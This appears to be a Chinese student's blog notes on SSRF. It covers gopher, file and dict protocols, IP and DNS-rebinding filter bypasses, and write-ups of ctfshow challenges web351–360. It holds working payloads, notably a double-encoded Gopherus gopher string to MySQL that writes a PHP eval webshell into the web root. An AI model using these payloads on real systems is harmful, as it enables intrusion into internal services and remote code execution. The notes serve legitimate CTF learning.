web学习笔记之SSRF喵
[TOC]
反序列化那里发现SSRF不会喵,这里来系统学习一下
这里在尝试使用ai帮助学习和规划喵[]( ̄▽ ̄)*
什么是SSRF?
SSRF(Server-Side Request Forgery)是由攻击者构造请求,由服务端发起请求的安全漏洞
通俗一点,就是以一个可以获取到内网数据的外网服务器为跳板,攻击者可以从外网获取到内网的数据
SSRF的危害
- 内网探测:扫描内网开放的端口和服务(如80、8080、443、3306)
- 攻击内网应用:攻击那些不对外开放的MySQL、Redis、Memcached等
- 读取本地文件:利用
file://读取服务器上的/etc/passwd或C:/windows/win.ini
这里解释一下上面不太熟悉的新名词( •̀ ω •́ )✧
Redis和Memcached是内存数据库(NoSQL),主要用于高速缓存数据
- Redis:非常流行,具备写文件、设置定时任务等高权限功能,易导致RCE,一个致命的特点是:在内网环境下,很多管理员为了方便,默认不设置密码
- 安全风险:如果服务器存在SSRF,攻击者可以使用
gopher://协议向内网的Redis发送指令。因为Redis的权限高,攻击者可以利用它写定时任务(Crontab)或者SSH公钥,直接实现RCE,拿下内网服务器的控制权
/etc/passwd(Linux):包含了系统所有用户信息,虽然密码不直接存在这里(在/etc/shadow),但读到他就能确认当前系统有哪些用户在SSRF中,如果尝试file://etc/passwd成功读到内容,就证明这个SSRF漏洞可以让你跨越web目录,读取服务器上任何你有权访问的文件
C:/windows/win.ini(Windows):是windows系统的一个初始化文件
常用伪协议
http://以及https://:最基础,用于探测内网web服务和端口file://:用于读取服务器本地文件内容,跨越web目录限制获取敏感配置文件dict://:字典协议,可用来探测内网端口,获取内网服务的Banner信息(如Redis的版本),执行简单的单行命令操作gopher://:万能协议,可以构造任何TCP数据包,可以用来直接拿内网Redis的Shell
细嗦一下gopher://喵( ̄︶ ̄)↗
核心价值:
gopher://可以模拟几乎所有基于TCP的明文协议(HTTP,Redis,MySQL,FastCGI等)
WHY?
Gopher的设计初衷就是为了传输文本,所以对格式要求没有其他协议那么严格。所以完全可以依靠gopher连接一个ip然后传入一段数据,这段数据可以是HTTP POST请求包,也可以是Redis的写入指令,或者一个攻击内网数据库的恶意数据包
gopher的结构拆解
标准URL格式如下:gopher://<host>:<port>/_<data>
<host>(主机):可以是IP地址(如192.168.1.1代表内网路由器),也可以是域名(如localhost)<post>(端口):
80端口➡web服务(HTTP)默认端口
433端口➡安全web服务(HTTPS)端口
6379端口➡Redis数据库端口
3306端口➡MySQL数据库端口、
_:gopher协议在连接后会发送第一个字符为“选择器”,而这个选择器会被过滤掉,但在SSRF攻击中,为了保证后续数据的完整性,我们通常随便放一个字符作为占位符,然后紧跟着真正的攻击数据
**
<data>:**是要发送的原始数据包
核心技术:gopherize(gopher化)
要在SSRF中利用gopher,必须要把原始请求翻译为gopher格式,这涉及到CRLF(换行符)的注入
换行符:在TCP通信中,换行代表一条指令的结束。在URL中,换行符\r\n必须写成%0d%0a
双重编码:如果你的payload是通过URL参数传递的,服务器在接收时会解码一次。所以为了使curl真正执行时能看到%0d%0a,一般要进行二次编码(即把%变为%25)
Gopher模拟HTTP请求
原始HTTP请求:
如果想请求http://127.0.0.1/flag.php,服务器后台收到原始TCP数据包:
1 | GET /flag.php HTTP/1.1 |
注:
最后一行后面必须有一个空行(也就是连续两个换行),表示请求结束
HTTP/1.1代表HTTP协议的版本号
Connection: close是一个控制开关,告诉服务器结束对话。
Keep-Alive (默认):在 HTTP/1.1 中,默认是“长连接”。意思是服务器发完网页后不挂断,等着你可能还会问下一句。
Close (关闭):在 SSRF 攻击中,我们通常希望服务器发完 Flag 就立刻断开连接。这样可以防止
curl进程一直卡在那里等待,也能让你的攻击结果更平稳地返回。
转换成gopher格式:
原始文本:GET /flag.php HTTP/1.1\r\nHost:127.0.0.1\r\nConnection: close\r\n\r\n
进行URL编码:
空格➡%20
/➡%2f
\r\n➡%0d%0a
完整payload:
gopher://127.0.0.1:80/_GET%20/flag.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0a%0d%0a
常见漏洞函数
如果以下函数的参数用户可控,就可能产生SSRF:
file_get_contents()
fsockopen()
curl_exec()
1.0 ctfshow-web351
题目➡
1 |
|
cURL函数族就分三步:初始化(init)➡设置参数(setopt)➡跑程序(exec)
思路➡
看到了curl_exec()函数+传入url,判断出这是一道SSRF类题目
没有任何限制,那就直接使用http这一协议访问内网的flag.php试试
得到flag
but,为什么选择http呢?
HTTP协议:访问的是运行结果。服务器A去访问自己的web服务,请求flag.php这个页面。然后web服务器接受到了请求,执行了flag.php里面的PHP代码,然后把结果给到curl,curl然后通过
echo $rusult打印到屏幕上FILE协议:访问的是源码。curl直接去服务器的硬盘里找
/var/www/html/flag.php这个文件并读取。但是需要知道flag.php的绝对路径才能读取,猜不对路径的话,协议就失效。而且,如果代码长<?php $f="flag{xxx}"; ?>而没有echo的话,file://读取之后,浏览器可能会把它当成HTML标签给隐藏掉,需要查看源码(但是如果HTTP有复杂的验证,比如存在XFF绕过,file://读取源码有时候可以绕过逻辑检查)DICT协议:访问的是端口。它连接某个IP的端口并发送数据,但是他不理解路径的概念 ,它主要用于探测6379这种不需要复杂路径、只需要发指令的端口,他拿不到具体的网页内容
所以我又使用file://尝试了一下,(payload为url=file:///var/www/html/flag.php)发现页面并无显示,所以我又查看了一下源码,发现也可以得到flag
SSRF绕过
背景:
当开发者意识到SSRF的危害后,通常会写一些黑名单代码比如:if(preg_match('/127\.0\.0\.1|localhost/i',$url)){die("hacker!");}
绕过方法:
进制转换
计算机识别IP不仅限于点分十进制,也可以选择使用不同的进制来表达127.0.0.1:
八进制:
0177.0.0.1十六进制:
0x7f.0.0.1或0x7f000001十进制整数:
2130706433
特殊写法与省略(利用系统不全或解析特性):
省略0:
127.1(系统自动补全为127.0.0.1)**利用
0.0.0.0:**在Linux下,访问0或者0.0.0.0通常会直接导向本地。IPv6回环:
[::1](如果服务器开启了IPv6支持)
特殊域名(DNS解析绕过)
如果过滤器禁止了所有的数字IP,我们可以找另一些域名,他们的DNS指向就是127.0.0.1
常见公益域名:
http://sudo.cc或者http://local.adref.org通配符域名(nip.io):
http://127.0.0.1.nip.io
URL解析绕过(@符号)
利用curl对URL的处理逻辑:http://user:pass@host:port/path
payload:http://ctf.show@127.0.0.1
因为过滤器可能检查开头是否包含ctf.show,但是对curl来说,他会把@前面的内容当成账号密码,真正的目标是后面的127.0.0.1
DNS Rebinding(DNS重绑定)
应对先检查、后请求逻辑
逻辑:
第一步后端代码解析域名,发现是1.1.1.1(合法),通过检查
第二步:后端代码再次请求该域名
如果我们,在极短的时间修应DNS记录,让域名第二次解析变为127.0.0.1,即可成功请求内网
2.0 ctfshow-web352
题目➡
1 |
|
审计代码发现它过滤掉了localhost和127.0.0而且必须使用http或者https协议
那么去考虑十进制整数,得到flag
3.0 ctfshow-web353
题目➡
1 |
|
🤔,同样payload秒了
因为他把127.1这种绕过形式ban掉了,但是不影响我们
4.0 ctfshow-354
题目➡
1 |
|
在之前的基础上,ban掉了1和0,数字IP基本上不能使用了八进制和十六进制也不行,我们去考虑一些公益域名,得到flag
5.0 ctfshow-web355
题目➡
1 |
|
发现多了一个要求,host长度要小于等于5,其他的也没过滤,那就考虑127.1
6.0 ctfshow-web356
题目➡
1 |
|
host长度进一步缩小到小于等于3,但是没有其他过滤,我们可以考虑使用0代替127.0.0.1
7.0 ctfshow-web357
题目➡
1 |
|
审计➡
这段代码存在的漏洞叫做TOCTOU(Time of Check to Time of Use)
第一次check时,程序解析域名得到IP,发现是公网IP,通过
第二次use的时候,程序再次调用file_get_contents,触发第二次DNS解析
所以我们需要一个神奇域名,它在第一次被询问的时候是一个正常的公网ip,但是在第二次被询问的时候会变成127.0.0.1
推荐https://lock.cmpxchg8b.com/rebinder.html
我们在IP A里填入一个合法公网IP:8.8.8.8
在IP B里填入我们真正的目标:127.0.0.1
得到这个域名:08080808.7f000001.rbndr.us
然后我们再去POST
注意:因为他是随机返回两个IP里的一个,所以有可能不成功会返回ip!,可以多试几次
得到flag
8.0 ctfshow-web358
题目➡
1 |
|
代码限制必须以http://ctf.开头,以show结尾,中间可以是任意字符,并且不区分大小写
刚好考虑之前学到的@
编写payload为url=http://ctf.@127.0.0.1/flag.php?show
至于为什么写成?show是因为这样不会影响访问flag.php
得到flag
9.0 ctfshow-web359
题目➡
加上了一些较为真实的环境喵
先浅试一波SQL注入
username填:1' OR 1=1#(好吧,后来发现这里填什么都行)
pasword 随便填
成功跳转,得到一个白色页面,查看源码之后发现也是什么都没有的
啊,写不动了,啊,我要摆烂惹X_X(剩下两道明天再写吧),顺便提一嘴,AI教的还是很全面的,最起码目前应对ctfshow里面的题目没有什么困难……啊巴啊巴
ok,严肃回归
我一直在想,为什么要考虑SSRF
我们刚通过登录检查,在很多web应用中,登录后的“检查”通常涉及对远程资源、用户头像、第三方API或者内网状态的验证
因此,只要涉及让服务器访问某个资源,考察SSRF的概率会激增
因此我去尝试了一下returl=http://127.0.0.1/index.php,发现他返回了主页面,那么就证实了这道题目考察的是SSRF(因为一般会使用returl作为参数)
毕竟是猜的,这里我们再使用bp去抓包一下,然后观察一下响应
我们可以看到,这里面有一个hidden的参数就是returl,他的默认值是https://404.chall.ctf.show/,那么我们只需要把这个值改掉,我们就控制了服务器的请求目标
这里选择使用gopher协议来控制Redismysql
我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我做不出来我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭我已急哭
好的,我们继续
这边建议下载gopherus(需要python2的环境)
下载地址:https://github.com/tarunkant/Gopherus
好的我终于知道我哪里不对了……题目提示,这是一个无密码的mysql,那就代表我们要利用mysql中SELECT...INTO OUTFILE强行写入木马
,并且redis一直是404的状态,所以我们选择攻击mysql
对其进行二次编码,再post进去
payload为u=1&returl=%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%33%33%30%36%2f%5f%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%34%37%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%32%37%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%33%31%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%32%37%25%32%30%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%66%25%37%35%25%37%34%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%32%37%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%31%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30%25%32%37%25%33%62%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31
终于写进去了呜呜呜呜呜(力竭了兄弟)
然后传我们的马就行
终于出来了呜呜呜呜呜呜呜(之前一直没出来的原因大概是我一直把马的名称写为shell.php,而shell.php可能会跟其他人的脚本冲突)
10.0 ctfshow-web360
题目➡
提示打redis
1 |
|
没什么好说的,继续gopherus
继续二次编码,然后访问shell.php即可
emmmm理论正确,操作正确,靶机坏惹……阿巴阿巴
Leave a comment